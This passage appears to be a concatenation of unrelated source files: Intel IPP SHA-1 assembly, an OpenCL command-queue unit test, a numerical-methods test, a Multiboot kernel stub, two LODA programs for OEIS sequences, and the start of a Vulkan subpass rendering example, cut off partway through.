%xdefine %%regD %4
%xdefine %%regE %5
%xdefine %%regT %6
%xdefine %%regF %7
%xdefine %%nr %8
%assign %%immCNT 05A827999h
mov r13d,%%immCNT
MAGIC_F0 %%regF,%%regB,%%regC,%%regD ;; FUN = MAGIC_Fi(B,C,D)
ror %%regB,(32-30)
mov %%regT,%%regA
rol %%regT,5
add %%regE,[rsp+(((%%nr) & 0Fh)*4)]
; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug
add r13d, %%regF
add %%regE, r13d
add %%regE,%%regT
%endmacro
%macro SHA1_RND1 8.nolist
%xdefine %%regA %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regE %5
%xdefine %%regT %6
%xdefine %%regF %7
%xdefine %%nr %8
%assign %%immCNT 06ED9EBA1h
mov r13d,%%immCNT
MAGIC_F1 {%%regF},{%%regB},{%%regC},{%%regD} ;; FUN = MAGIC_Fi(B,C,D)
ror %%regB,(32-30)
mov %%regT,%%regA
rol %%regT,5
add %%regE,[rsp+(((%%nr) & 0Fh)*4)]
; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug
add r13d, %%regF
add %%regE, r13d
add %%regE,%%regT
%endmacro
%macro SHA1_RND2 8.nolist
%xdefine %%regA %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regE %5
%xdefine %%regT %6
%xdefine %%regF %7
%xdefine %%nr %8
%ifndef _VXWORKS
%assign %%immCNT 08F1BBCDCh
%else
%assign %%immCNT -1894007588
%endif
mov r13d,%%immCNT
MAGIC_F2 %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D)
ror %%regB,(32-30)
mov %%regT,%%regA
rol %%regT,5
add %%regE,[rsp+(((%%nr) & 0Fh)*4)]
; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug
add r13d, %%regF
add %%regE, r13d
add %%regE,%%regT
%endmacro
%macro SHA1_RND3 8.nolist
%xdefine %%regA %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regE %5
%xdefine %%regT %6
%xdefine %%regF %7
%xdefine %%nr %8
%ifndef _VXWORKS
%assign %%immCNT 0CA62C1D6h
%else
%assign %%immCNT -899497514
%endif
mov r13d,%%immCNT
MAGIC_F3 {%%regF},{%%regB},{%%regC},{%%regD} ;; FUN = MAGIC_Fi(B,C,D)
ror %%regB,(32-30)
mov %%regT,%%regA
rol %%regT,5
add %%regE,[rsp+(((%%nr) & 0Fh)*4)]
; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug
add r13d, %%regF
add %%regE, r13d
add %%regE,%%regT
%endmacro
;;
;; ENDIANNESS
;;
%macro ENDIANNESS 2.nolist
%xdefine %%dst %1
%xdefine %%src %2
%ifnidn %%dst,%%src
mov %%dst,%%src
%endif
bswap %%dst
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Following Macros are especially for new implementation of SHA1
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro UPDATE 2-3.nolist
%xdefine %%nr %1
%xdefine %%regU %2
%xdefine %%regT %3
%ifempty %%regT
mov %%regU,[rsp+((%%nr-16) & 0Fh)*4]
xor %%regU,[rsp+((%%nr-14) & 0Fh)*4]
xor %%regU,[rsp+((%%nr-8) & 0Fh)*4]
xor %%regU,[rsp+((%%nr-3) & 0Fh)*4]
%else
mov %%regU,[rsp+((%%nr-16) & 0Fh)*4]
mov %%regT,[rsp+((%%nr-14) & 0Fh)*4]
xor %%regU,%%regT
mov %%regT,[rsp+((%%nr-8) & 0Fh)*4]
xor %%regU,%%regT
mov %%regT,[rsp+((%%nr-3) & 0Fh)*4]
xor %%regU,%%regT
%endif
rol %%regU,1
mov [rsp+(%%nr & 0Fh)*4],%%regU
%endmacro
segment .text align=IPP_ALIGN_FACTOR
;*****************************************************************************************
;* Purpose: Update internal digest according to message block
;*
;* void UpdateSHA1(DigestSHA1 digest, const Ipp32u* mblk, int mlen, const void* pParam)
;*
;*****************************************************************************************
;;
;; Lib = M7
;;
;; Caller = ippsSHA1Update
;; Caller = ippsSHA1Final
;; Caller = ippsSHA1MessageDigest
;;
;; Caller = ippsHMACSHA1Update
;; Caller = ippsHMACSHA1Final
;; Caller = ippsHMACSHA1MessageDigest
;;
align IPP_ALIGN_FACTOR
IPPASM UpdateSHA1,PUBLIC
%assign LOCAL_FRAME 16*4
USES_GPR rbx,rsi,rdi,r8,r9,r10,r11,r12,r13
USES_XMM
COMP_ABI 4
%xdefine MBS_SHA1 (64)
movsxd rdx, edx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.sha1_block_loop:
;;
;; init A, B, C, D, E by the internal digest
;;
mov r8d, [rdi+0*4] ; r8d = digest[0] (A)
mov r9d, [rdi+1*4] ; r9d = digest[1] (B)
mov r10d,[rdi+2*4] ; r10d= digest[2] (C)
mov r11d,[rdi+3*4] ; r11d= digest[3] (D)
mov r12d,[rdi+4*4] ; r12d= digest[4] (E)
;;
;; initialize the first 16 words in the array W (remember about endian)
;;
xor rcx,rcx
.loop1:
mov eax,[rsi+rcx*4+0*4]
ENDIANNESS eax,eax
mov [rsp+rcx*4+0*4],eax
mov ebx,[rsi+rcx*4+1*4]
ENDIANNESS ebx,ebx
mov [rsp+rcx*4+1*4],ebx
add rcx,2
cmp rcx,16
jl .loop1
;;
;; perform 0-79 steps
;;
;; A, B, C, D, E, TMP,FUN, round
;; -----------------------------------
SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 0
UPDATE 16, eax
SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 1
UPDATE 17, eax
SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 2
UPDATE 18, eax
SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 3
UPDATE 19, eax
SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 4
UPDATE 20, eax
SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 5
UPDATE 21, eax
SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 6
UPDATE 22, eax
SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 7
UPDATE 23, eax
SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 8
UPDATE 24, eax
SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 9
UPDATE 25, eax
SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 10
UPDATE 26, eax
SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 11
UPDATE 27, eax
SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 12
UPDATE 28, eax
SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 13
UPDATE 29, eax
SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 14
UPDATE 30, eax
SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 15
UPDATE 31, eax
SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 16
UPDATE 32, eax
SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 17
UPDATE 33, eax
SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 18
UPDATE 34, eax
SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 19
UPDATE 35, eax
SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 20
UPDATE 36, eax
SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 21
UPDATE 37, eax
SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 22
UPDATE 38, eax
SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 23
UPDATE 39, eax
SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 24
UPDATE 40, eax
SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 25
UPDATE 41, eax
SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 26
UPDATE 42, eax
SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 27
UPDATE 43, eax
SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 28
UPDATE 44, eax
SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 29
UPDATE 45, eax
SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 30
UPDATE 46, eax
SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 31
UPDATE 47, eax
SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 32
UPDATE 48, eax
SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 33
UPDATE 49, eax
SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 34
UPDATE 50, eax
SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 35
UPDATE 51, eax
SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 36
UPDATE 52, eax
SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 37
UPDATE 53, eax
SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 38
UPDATE 54, eax
SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 39
UPDATE 55, eax
SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 40
UPDATE 56, eax
SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 41
UPDATE 57, eax
SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 42
UPDATE 58, eax
SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 43
UPDATE 59, eax
SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 44
UPDATE 60, eax
SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 45
UPDATE 61, eax
SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 46
UPDATE 62, eax
SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 47
UPDATE 63, eax
SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 48
UPDATE 64, eax
SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 49
UPDATE 65, eax
SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 50
UPDATE 66, eax
SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 51
UPDATE 67, eax
SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 52
UPDATE 68, eax
SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 53
UPDATE 69, eax
SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 54
UPDATE 70, eax
SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 55
UPDATE 71, eax
SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 56
UPDATE 72, eax
SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 57
UPDATE 73, eax
SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 58
UPDATE 74, eax
SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 59
UPDATE 75, eax
SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 60
UPDATE 76, eax
SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 61
UPDATE 77, eax
SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 62
UPDATE 78, eax
SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 63
UPDATE 79, eax
SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 64
SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 65
SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 66
SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 67
SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 68
SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 69
SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 70
SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 71
SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 72
SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 73
SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 74
SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 75
SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 76
SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 77
SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 78
SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 79
;;
;; update digest
;;
add [rdi+0*4],r8d ; advance digest
add [rdi+1*4],r9d
add [rdi+2*4],r10d
add [rdi+3*4],r11d
add [rdi+4*4],r12d
add rsi, MBS_SHA1
sub rdx, MBS_SHA1
jg .sha1_block_loop
REST_XMM
REST_GPR
ret
ENDFUNC UpdateSHA1
%endif ;; (_IPP32E >= _IPP32E_M7) AND (_IPP32E < _IPP32E_U8 )
%endif ;; _FEATURE_OFF_ / _FEATURE_TICKTOCK_
%endif ;; _ENABLE_ALG_SHA1_
|
/*
* Copyright (c) 2017 - 2018, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#include "runtime/context/context.h"
#include "unit_tests/fixtures/device_host_queue_fixture.h"
using namespace OCLRT;
namespace DeviceHostQueue {
typedef ::testing::Types<CommandQueue, DeviceQueue> QueueTypes;
template <typename T>
class clRetainReleaseCommandQueueTests : public DeviceHostQueueFixture<T> {};
TYPED_TEST_CASE(clRetainReleaseCommandQueueTests, QueueTypes);
TYPED_TEST(clRetainReleaseCommandQueueTests, retain_release) {
using BaseType = typename TypeParam::BaseType;
auto queue = this->createClQueue();
ASSERT_EQ(CL_SUCCESS, this->retVal);
auto qObject = castToObject<TypeParam>(static_cast<BaseType *>(queue));
ASSERT_NE(qObject, nullptr);
cl_uint refCount;
this->retVal = clGetCommandQueueInfo(queue, CL_QUEUE_REFERENCE_COUNT,
sizeof(cl_uint), &refCount, NULL);
EXPECT_EQ(CL_SUCCESS, this->retVal);
EXPECT_EQ(1u, refCount);
this->retVal = clRetainCommandQueue(queue);
EXPECT_EQ(CL_SUCCESS, this->retVal);
this->retVal = clGetCommandQueueInfo(queue, CL_QUEUE_REFERENCE_COUNT,
sizeof(cl_uint), &refCount, NULL);
EXPECT_EQ(CL_SUCCESS, this->retVal);
EXPECT_EQ(2u, refCount);
this->retVal = clReleaseCommandQueue(queue);
EXPECT_EQ(CL_SUCCESS, this->retVal);
this->retVal = clGetCommandQueueInfo(queue, CL_QUEUE_REFERENCE_COUNT,
sizeof(cl_uint), &refCount, NULL);
EXPECT_EQ(CL_SUCCESS, this->retVal);
EXPECT_EQ(1u, refCount);
this->retVal = clReleaseCommandQueue(queue);
EXPECT_EQ(CL_SUCCESS, this->retVal);
}
} // namespace DeviceHostQueue
|
//
// Created by stybill on 11/04/2017.
//
#include "_3_a_false_position_beats_bisection.h"
#include "Bisection.h"
#include "False_position.h"
static void _3_a_false_position_beats_bisection::False_position_beats_bisection() {
Bisection::bisection(-100, 10000, 1e-6, 0, 1e3);
False_position::false_position(-100, 10000, 1e-6, 0, 1e3);
} |
MBALIGN equ 1 << 0
MEMINFO equ 1 << 1
FLAGS equ MBALIGN | MEMINFO
MAGIC equ 0x1BADB002
CHECKSUM equ -(MAGIC + FLAGS)
section .multiboot
align 4
dd MAGIC
dd FLAGS
dd CHECKSUM
section .bss
align 16
stack_bottom:
resb 8192 ; 8 KiB
stack_top:
section .text
global _start
_start:
mov esp, stack_top
push ebx
push eax
extern kmain
call kmain
cli
.hang: hlt
jmp .hang
.end: |
; A186302: ( A007522(n)-1 )/2.
; 3,11,15,23,35,39,51,63,75,83,95,99,111,119,131,135,155,179,183,191,215,219,231,239,243,251,299,303,315,323,359,363,371,375,411,419,431,443,455,459,483,491,495,515,519,531,543,551
mov $2,$0
add $2,1
pow $2,2
lpb $2
add $1,6
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,2
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,2
sub $1,1
mov $0,$1
|
; A268233: Excess of number of 1's over number of 0's in terms 0 through n of A047999.
; 1,2,3,4,3,4,5,6,7,8,9,8,7,6,7,8,9,8,7,8,9,10,9,10,9,10,9,10,11,12,13,14,15,16,17,18,19,18,17,16,15,14,13,12,13,14,15,14,13,12,11,10,9,10,11,12,11,12,11,10,9,8,7,8,7,8,9,10,11,12,11,10,9,8,9,10,11,12,13,12,11,10,11,10,9,8,9,8,7,6,7,8,9,8,7,8,9,8,7,8,9,8,7,8,9,10,9,10,9,10,9,10,9,10,9,10,9,10,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,13,14,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,2,3,4,3,4,3,2,1,0,-1,-2,-3,-4,-5,-6,-7,-8,-9,-8,-9,-8,-7,-6,-5,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-15,-14,-13,-12,-11,-12,-13,-14,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-23,-24,-25,-26,-25,-24,-23,-24,-25,-24,-23,-24,-25,-26,-27,-28,-29,-30,-31,-32,-33,-32,-31,-32
sub $2,$0
cal $0,268234 ; Partial sums of A047999.
mov $1,$0
add $1,2
add $2,2
add $2,$1
add $1,$2
sub $1,7
|
/*
* Vulkan Example - Using subpasses for G-Buffer compositing
*
* Copyright (C) 2016-2017 by Sascha Willems - www.saschawillems.de
*
* This code is licensed under the MIT license (MIT) (http://opensource.org/licenses/MIT)
*
* Summary:
* Implements a deferred rendering setup with a forward transparency pass using sub passes
*
* Sub passes allow reading from the previous framebuffer (in the same render pass) at
* the same pixel position.
*
* This is a feature that was especially designed for tile-based-renderers
* (mostly mobile GPUs) and is a new optomization feature in Vulkan for those GPU types.
*
*/
#include <vulkanExampleBase.h>
#define NUM_LIGHTS 64
class VulkanExample : public vkx::ExampleBase {
public:
struct {
vks::texture::Texture2D glass;
} textures;
// Vertex layout for the models
vks::model::VertexLayout vertexLayout = vks::model::VertexLayout({
vks::model::VERTEX_COMPONENT_POSITION,
vks::model::VERTEX_COMPONENT_COLOR,
vks::model::VERTEX_COMPONENT_NORMAL,
vks::model::VERTEX_COMPONENT_UV,
});
struct {
vks::model::Model scene;
vks::model::Model transparent;
} models;
struct {
glm::mat4 projection;
glm::mat4 model;
glm::mat4 view;
} uboGBuffer;
struct Light {
glm::vec4 position;
glm::vec3 color;
float radius;
};
struct {
glm::vec4 viewPos;
Light lights[NUM_LIGHTS];
} uboLights;
struct {
vks::Buffer GBuffer;
vks::Buffer lights;
} uniformBuffers;
struct {
vk::Pipeline offscreen;
vk::Pipeline composition;
vk::Pipeline transparent;
} pipelines;
struct {
vk::PipelineLayout offscreen;
vk::PipelineLayout composition;
vk::PipelineLayout transparent;
} pipelineLayouts;
struct {
vk::DescriptorSet scene;
vk::DescriptorSet composition;
vk::DescriptorSet transparent;
} descriptorSets;
struct {
vk::DescriptorSetLayout scene;
vk::DescriptorSetLayout composition;
vk::DescriptorSetLayout transparent;
} descriptorSetLayouts;
// G-Buffer framebuffer attachments
struct Attachments {
vks::Image position, normal, albedo;
} attachments;
VkRenderPass uiRenderPass;
VulkanExample() {
title = "Subpasses";
camera.type = Camera::CameraType::firstperson;
camera.movementSpeed = 5.0f;
#ifndef __ANDROID__
camera.rotationSpeed = 0.25f;
#endif
camera.setPosition(glm::vec3(-3.2f, 1.0f, 5.9f));
camera.setRotation(glm::vec3(0.5f, 210.05f, 0.0f));
camera.setPerspective(60.0f, (float)width / (float)height, 0.1f, 256.0f);
settings.overlay = true;
}
~VulkanExample() {
// Clean up used Vulkan resources
// Note : Inherited destructor cleans up resources stored in base class
attachments.position.destroy();
attachments.normal.destroy();
attachments.albedo.destroy();
device.destroy(pipelines.offscreen);
device.destroy(pipelines.composition);
device.destroy(pipelines.transparent);
device.destroy(pipelineLayouts.offscreen);
device.destroy(pipelineLayouts.composition);
device.destroy(pipelineLayouts.transparent);
device.destroy(descriptorSetLayouts.scene);
device.destroy(descriptorSetLayouts.composition);
device.destroy(descriptorSetLayouts.transparent);
device.destroy(uiRenderPass);
textures.glass.destroy();
models.scene.destroy();
models.transparent.destroy();
uniformBuffers.GBuffer.destroy();
uniformBuffers.lights.destroy();
}
// Enable physical device features required for this example
void getEnabledFeatures() override {
// Enable anisotropic filtering if supported
if (deviceFeatures.samplerAnisotropy) {
enabledFeatures.samplerAnisotropy = VK_TRUE;
}
// Enable texture compression
if (deviceFeatures.textureCompressionBC) {
enabledFeatures.textureCompressionBC = VK_TRUE;
} else if (deviceFeatures.textureCompressionASTC_LDR) {
enabledFeatures.textureCompressionASTC_LDR = VK_TRUE;
} else if (deviceFeatures.textureCompressionETC2) {
enabledFeatures.textureCompressionETC2 = VK_TRUE;
}
};
// Create a frame buffer attachment
void createAttachment(vk::Format format, vk::ImageUsageFlags usage, vks::Image& attachment) {
vk::ImageAspectFlags aspectMask;
vk::ImageLayout imageLayout;
attachment.format = format;
if (usage & vk::ImageUsageFlagBits::eColorAttachment) {
aspectMask = vk::ImageAspectFlagBits::eColor;
imageLayout = vk::ImageLayout::eColorAttachmentOptimal;
}
if (usage & vk::ImageUsageFlagBits::eDepthStencilAttachment) {
aspectMask = vk::ImageAspectFlagBits::eDepth | vk::ImageAspectFlagBits::eStencil;
imageLayout = vk::ImageLayout::eDepthStencilAttachmentOptimal;
}
assert(aspectMask.operator VkInstanceCreateFlags() > 0);
vk::ImageCreateInfo image;
image.imageType = vk::ImageType::e2D;
image.format = format;
image.extent.width = width;
image.extent.height = height;
image.extent.depth = 1;
image.mipLevels = 1;
image.arrayLayers = 1;
image.usage = usage | vk::ImageUsageFlagBits::eInputAttachment; // vk::ImageUsageFlagBits::eInputAttachment flag is required for input attachments;
image.initialLayout = vk::ImageLayout::eUndefined;
attachment = context.createImage(image);
vk::ImageViewCreateInfo imageView;
imageView.viewType = vk::ImageViewType::e2D;
imageView.format = format;
imageView.subresourceRange = { aspectMask, 0, 1, 0, 1 };
imageView.image = attachment.image;
attachment.view = device.createImageView(imageView);
}
// Create color attachments for the G-Buffer components
void createGBufferAttachments() {
createAttachment(vk::Format::eR16G16B16A16Sfloat, vk::ImageUsageFlagBits::eColorAttachment, attachments.position); // (World space) Positions
createAttachment(vk::Format::eR16G16B16A16Sfloat, vk::ImageUsageFlagBits::eColorAttachment, attachments.normal); // (World space) Normals
createAttachment(vk::Format::eR8G8B8A8Unorm, vk::ImageUsageFlagBits::eColorAttachment, attachments.albedo); // Albedo (color)
}
// Override framebuffer setup from base class
// Deferred components will be used as frame buffer attachments
void setupFrameBuffer() override {
vk::ImageView attachmentsDescs[5];
vk::FramebufferCreateInfo frameBufferCreateInfo = {};
frameBufferCreateInfo.renderPass = renderPass;
frameBufferCreateInfo.attachmentCount = 5;
frameBufferCreateInfo.pAttachments = attachmentsDescs;
frameBufferCreateInfo.width = width;
frameBufferCreateInfo.height = height;
frameBufferCreateInfo.layers = 1;
// Create frame buffers for every swap chain image
framebuffers.resize(swapChain.imageCount);
for (uint32_t i = 0; i < framebuffers.size(); i++) {
attachmentsDescs[0] = swapChain.images[i].view;
attachmentsDescs[1] = this->attachments.position.view;
attachmentsDescs[2] = this->attachments.normal.view;
attachmentsDescs[3] = this->attachments.albedo.view;
attachmentsDescs[4] = depthStencil.view;
framebuffers[i] = device.createFramebuffer(frameBufferCreateInfo);
}
}
// Override render pass setup from base class
void setupRenderPass() override {
createGBufferAttachments();
std::array<vk::AttachmentDescription, 5> attachmentsDescs{};
// Color attachment
attachmentsDescs[0].format = swapChain.colorFormat;
attachmentsDescs[0].loadOp = vk::AttachmentLoadOp::eClear;
attachmentsDescs[0].storeOp = vk::AttachmentStoreOp::eStore;
attachmentsDescs[0].stencilLoadOp = vk::AttachmentLoadOp::eDontCare;
attachmentsDescs[0].stencilStoreOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[0].initialLayout = vk::ImageLayout::eUndefined;
attachmentsDescs[0].finalLayout = vk::ImageLayout::ePresentSrcKHR;
// Deferred attachments
// Position
attachmentsDescs[1].format = this->attachments.position.format;
attachmentsDescs[1].loadOp = vk::AttachmentLoadOp::eClear;
attachmentsDescs[1].storeOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[1].stencilLoadOp = vk::AttachmentLoadOp::eDontCare;
attachmentsDescs[1].stencilStoreOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[1].initialLayout = vk::ImageLayout::eUndefined;
attachmentsDescs[1].finalLayout = vk::ImageLayout::eColorAttachmentOptimal;
// Normals
attachmentsDescs[2].format = this->attachments.normal.format;
attachmentsDescs[2].loadOp = vk::AttachmentLoadOp::eClear;
attachmentsDescs[2].storeOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[2].stencilLoadOp = vk::AttachmentLoadOp::eDontCare;
attachmentsDescs[2].stencilStoreOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[2].initialLayout = vk::ImageLayout::eUndefined;
attachmentsDescs[2].finalLayout = vk::ImageLayout::eColorAttachmentOptimal;
// Albedo
attachmentsDescs[3].format = this->attachments.albedo.format;
attachmentsDescs[3].loadOp = vk::AttachmentLoadOp::eClear;
attachmentsDescs[3].storeOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[3].stencilLoadOp = vk::AttachmentLoadOp::eDontCare;
attachmentsDescs[3].stencilStoreOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[3].initialLayout = vk::ImageLayout::eUndefined;
attachmentsDescs[3].finalLayout = vk::ImageLayout::eColorAttachmentOptimal;
// Depth attachment
attachmentsDescs[4].format = depthFormat;
attachmentsDescs[4].loadOp = vk::AttachmentLoadOp::eClear;
attachmentsDescs[4].storeOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[4].stencilLoadOp = vk::AttachmentLoadOp::eDontCare;
attachmentsDescs[4].stencilStoreOp = vk::AttachmentStoreOp::eDontCare;
attachmentsDescs[4].initialLayout = vk::ImageLayout::eUndefined;
attachmentsDescs[4].finalLayout = vk::ImageLayout::eDepthStencilAttachmentOptimal;
// Three subpasses
std::array<vk::SubpassDescription, 3> subpassDescriptions{};
// First subpass: Fill G-Buffer components
// ----------------------------------------------------------------------------------------
vk::AttachmentReference colorReferences[4];
colorReferences[0] = { 0, vk::ImageLayout::eColorAttachmentOptimal };
colorReferences[1] = { 1, vk::ImageLayout::eColorAttachmentOptimal };
colorReferences[2] = { 2, vk::ImageLayout::eColorAttachmentOptimal };
colorReferences[3] = { 3, vk::ImageLayout::eColorAttachmentOptimal };
vk::AttachmentReference depthReference{ 4, vk::ImageLayout::eDepthStencilAttachmentOptimal };
subpassDescriptions[0].pipelineBindPoint = vk::PipelineBindPoint::eGraphics;
subpassDescriptions[0].colorAttachmentCount = 4;
subpassDescriptions[0].pColorAttachments = colorReferences;
subpassDescriptions[0].pDepthStencilAttachment = &depthReference;
// Second subpass: Final composition (using G-Buffer components)
// ----------------------------------------------------------------------------------------
vk::AttachmentReference colorReference = { 0, vk::ImageLayout::eColorAttachmentOptimal };
vk::AttachmentReference inputReferences[3];
inputReferences[0] = { 1, vk::ImageLayout::eShaderReadOnlyOptimal };
inputReferences[1] = { 2, vk::ImageLayout::eShaderReadOnlyOptimal };
inputReferences[2] = { 3, vk::ImageLayout::eShaderReadOnlyOptimal };
uint32_t preserveAttachmentIndex = 1;
subpassDescriptions[1].pipelineBindPoint = vk::PipelineBindPoint::eGraphics;
